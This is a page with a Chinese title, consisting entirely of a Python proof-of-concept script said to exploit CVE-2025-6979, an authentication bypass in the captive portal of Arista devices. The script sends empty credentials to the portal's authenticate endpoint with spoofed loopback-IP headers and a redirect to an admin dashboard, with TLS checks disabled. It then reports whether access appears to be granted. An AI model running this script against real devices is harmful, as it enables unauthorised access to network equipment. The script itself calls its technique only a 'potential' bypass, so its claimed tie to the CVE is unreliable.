CVE-2025-6979: Arista Captive Portal身份验证绕过漏洞

# CVE-2025-6979 PoC - Captive Portal Authentication Bypass # Reference: Arista Security Advisory 0123 import requests import urllib3 urllib3.disable_warnings() TARGET = "https://<arista-device-ip>/" VULN_PATH = "/captive-portal/authenticate" def check_cve_2025_6979(): """ Check for CVE-2025-6979 authentication bypass vulnerability This PoC demonstrates the potential bypass technique """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'X-Forwarded-For': '127.0.0.1', # May bypass IP check 'X-Originating-IP': '127.0.0.1', 'X-Remote-IP': '127.0.0.1', 'X-Remote-Addr': '127.0.0.1', 'X-Client-IP': '127.0.0.1', 'X-Real-IP': '127.0.0.1' } # Attempt to bypass authentication bypass_payload = { 'username': '', 'password': '', 'redirect_url': '/admin/dashboard' } try: response = requests.post( TARGET + VULN_PATH, data=bypass_payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and 'authenticated' in response.text.lower(): print('[+] Potential vulnerability detected - authentication bypass possible') print(f'[+] Response: {response.status_code}') return True else: print('[-] Target may not be vulnerable or patch has been applied') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': print('CVE-2025-6979 Arista Captive Portal Bypass PoC') print('Use responsibly and only on systems you have permission to test') check_cve_2025_6979()